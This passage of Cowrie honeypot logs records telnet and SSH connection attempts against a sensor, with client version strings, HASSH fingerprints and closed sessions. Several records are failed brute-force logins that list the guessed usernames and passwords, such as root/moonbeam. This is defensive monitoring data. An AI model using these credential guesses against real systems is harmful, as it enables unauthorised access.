{"eventid":"cowrie.session.closed","duration":1.6389384269714355,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:32.138443Z","src_ip":"64.227.101.30","session":"8893acd6ab7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.67209029197693,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:33.327496Z","src_ip":"161.97.105.174","session":"36fffb1c7cba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.07802248001099,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:34.153180Z","src_ip":"64.227.101.30","session":"2626813e41ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40198,"dst_ip":"159.203.135.109","dst_port":23,"session":"9eb71312d798","protocol":"telnet","message":"New connection: 161.97.105.174:40198 (159.203.135.109:23) [session: 9eb71312d798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:41.200009Z"}
{"eventid":"cowrie.session.closed","duration":37.485180139541626,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:41.505121Z","src_ip":"161.97.105.174","session":"733ab285e55f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.08847665786743,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:41.854014Z","src_ip":"161.97.105.174","session":"bd9f08dccb21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.10397481918335,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:42.012532Z","src_ip":"64.227.101.30","session":"64c681ba94b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.31775879859924,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:42.445924Z","src_ip":"161.97.105.174","session":"c85d62c2f073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.109076261520386,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:45.058135Z","src_ip":"161.97.105.174","session":"c86050d458d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.7818443775177,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:45.377768Z","src_ip":"161.97.105.174","session":"60563b484d2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.298035621643066,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:45.506325Z","src_ip":"161.97.105.174","session":"128aaead7cb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.1715292930603,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:45.594803Z","src_ip":"64.227.101.30","session":"a13601db16ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46196,"dst_ip":"10.17.0.5","dst_port":23,"session":"1acd44532032","protocol":"telnet","message":"New connection: 64.227.101.30:46196 (10.17.0.5:23) [session: 1acd44532032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:51.312403Z"}
{"eventid":"cowrie.session.closed","duration":34.602033376693726,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:53.136554Z","src_ip":"161.97.105.174","session":"8de5668732f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.51904630661011,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:53.177841Z","src_ip":"64.227.101.30","session":"7063dd6b4310","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.269738912582397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:54.585820Z","src_ip":"64.227.101.30","session":"63ecb37fb0b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.932257890701294,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:56.787799Z","src_ip":"64.227.101.30","session":"4bd6d81211b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.813889026641846,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:57.111233Z","src_ip":"64.227.101.30","session":"3f05cd9f38ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":57024,"dst_ip":"10.17.0.5","dst_port":22,"session":"026af17ea69c","protocol":"ssh","message":"New connection: 209.99.189.174:57024 (10.17.0.5:22) [session: 026af17ea69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:57.460710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:57.465393Z","src_ip":"209.99.189.174","session":"026af17ea69c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:57.591650Z","src_ip":"209.99.189.174","session":"026af17ea69c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test$123","message":"login attempt [test/test$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:58.129154Z","src_ip":"209.99.189.174","session":"026af17ea69c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.3897123336792,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:59.162354Z","src_ip":"64.227.101.30","session":"a3346caf90ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:59.258030Z","src_ip":"209.99.189.174","session":"026af17ea69c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51216,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa951af0f390","protocol":"telnet","message":"New connection: 64.227.101.30:51216 (10.17.0.5:23) [session: fa951af0f390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:59.721958Z"}
{"eventid":"cowrie.session.closed","duration":39.68938231468201,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:02.629542Z","src_ip":"64.227.101.30","session":"63385b9c60f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":52256,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8ec36a9630a","protocol":"ssh","message":"New connection: 103.170.173.26:52256 (10.17.0.5:22) [session: a8ec36a9630a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:02.635180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:02.641304Z","src_ip":"103.170.173.26","session":"a8ec36a9630a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:02.917327Z","src_ip":"103.170.173.26","session":"a8ec36a9630a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"developer","message":"login attempt [postgres/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:04.053739Z","src_ip":"103.170.173.26","session":"a8ec36a9630a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.15868782997131,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:05.204114Z","src_ip":"161.97.105.174","session":"9c40d142ab39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:05.333015Z","src_ip":"103.170.173.26","session":"a8ec36a9630a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57796,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea0a0b2c50a0","protocol":"telnet","message":"New connection: 64.227.101.30:57796 (10.17.0.5:23) [session: ea0a0b2c50a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:12.118099Z"}
{"eventid":"cowrie.session.closed","duration":35.4581024646759,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:16.658003Z","src_ip":"161.97.105.174","session":"9eb71312d798","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":46062,"dst_ip":"159.203.135.109","dst_port":23,"session":"260052faf5c1","protocol":"telnet","message":"New connection: 74.208.239.44:46062 (159.203.135.109:23) [session: 260052faf5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:21.662732Z"}
{"eventid":"cowrie.session.closed","duration":120.00188779830933,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:22.194085Z","src_ip":"64.227.101.30","session":"f0299c8fa6af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56340,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2e07faf1215","protocol":"telnet","message":"New connection: 64.227.101.30:56340 (10.17.0.5:23) [session: d2e07faf1215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:23.548045Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55066,"dst_ip":"159.203.135.109","dst_port":23,"session":"670dabf3c094","protocol":"telnet","message":"New connection: 174.138.46.234:55066 (159.203.135.109:23) [session: 670dabf3c094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:28.654884Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60350,"dst_ip":"159.203.135.109","dst_port":23,"session":"00bd126de2fe","protocol":"telnet","message":"New connection: 161.97.105.174:60350 (159.203.135.109:23) [session: 00bd126de2fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:30.075827Z"}
{"eventid":"cowrie.session.closed","duration":120.00265145301819,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:31.174038Z","src_ip":"64.227.101.30","session":"625b265f963f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":34122,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e4d8cbc88e3","protocol":"ssh","message":"New connection: 94.156.152.18:34122 (159.203.135.109:22) [session: 7e4d8cbc88e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:33.138861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:33.143854Z","src_ip":"94.156.152.18","session":"7e4d8cbc88e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:33.265806Z","src_ip":"94.156.152.18","session":"7e4d8cbc88e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"VpsPutr4Official","message":"login attempt [root/VpsPutr4Official] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:33.633144Z","src_ip":"94.156.152.18","session":"7e4d8cbc88e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51218,"dst_ip":"10.17.0.5","dst_port":22,"session":"3723f1b6dc29","protocol":"ssh","message":"New connection: 193.32.162.145:51218 (10.17.0.5:22) [session: 3723f1b6dc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:33.943849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:33.948301Z","src_ip":"193.32.162.145","session":"3723f1b6dc29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:34.056642Z","src_ip":"193.32.162.145","session":"3723f1b6dc29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"moonbeam","message":"login attempt [root/moonbeam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:34.500392Z","src_ip":"193.32.162.145","session":"3723f1b6dc29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60364,"dst_ip":"159.203.135.109","dst_port":23,"session":"35371d951541","protocol":"telnet","message":"New connection: 161.97.105.174:60364 (159.203.135.109:23) [session: 35371d951541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:34.803239Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:34.912577Z","src_ip":"94.156.152.18","session":"7e4d8cbc88e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40416,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0c5dd2d78eb","protocol":"telnet","message":"New connection: 64.227.101.30:40416 (10.17.0.5:23) [session: f0c5dd2d78eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:35.137278Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:35.617596Z","src_ip":"193.32.162.145","session":"3723f1b6dc29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.47281622886658,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:37.785127Z","src_ip":"64.227.101.30","session":"1acd44532032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.344523429870605,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:40.066347Z","src_ip":"64.227.101.30","session":"fa951af0f390","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42606,"dst_ip":"10.17.0.5","dst_port":23,"session":"08e1f75f2473","protocol":"telnet","message":"New connection: 64.227.101.30:42606 (10.17.0.5:23) [session: 08e1f75f2473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:42.812098Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56354,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b8a2e487e00","protocol":"telnet","message":"New connection: 161.97.105.174:56354 (159.203.135.109:23) [session: 1b8a2e487e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:44.911517Z"}
{"eventid":"cowrie.session.closed","duration":35.9961576461792,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:48.114124Z","src_ip":"64.227.101.30","session":"ea0a0b2c50a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43192,"dst_ip":"10.17.0.5","dst_port":23,"session":"c84c7002ace9","protocol":"telnet","message":"New connection: 64.227.101.30:43192 (10.17.0.5:23) [session: c84c7002ace9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:49.667598Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45106,"dst_ip":"10.17.0.5","dst_port":23,"session":"59190d193574","protocol":"telnet","message":"New connection: 64.227.101.30:45106 (10.17.0.5:23) [session: 59190d193574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:49.796181Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45836,"dst_ip":"10.17.0.5","dst_port":23,"session":"290a3afc8daf","protocol":"telnet","message":"New connection: 64.227.101.30:45836 (10.17.0.5:23) [session: 290a3afc8daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:51.055478Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":44052,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb74e6ac43ff","protocol":"ssh","message":"New connection: 209.99.189.174:44052 (10.17.0.5:22) [session: fb74e6ac43ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:51.337605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:44:51.342859Z","src_ip":"209.99.189.174","session":"fb74e6ac43ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie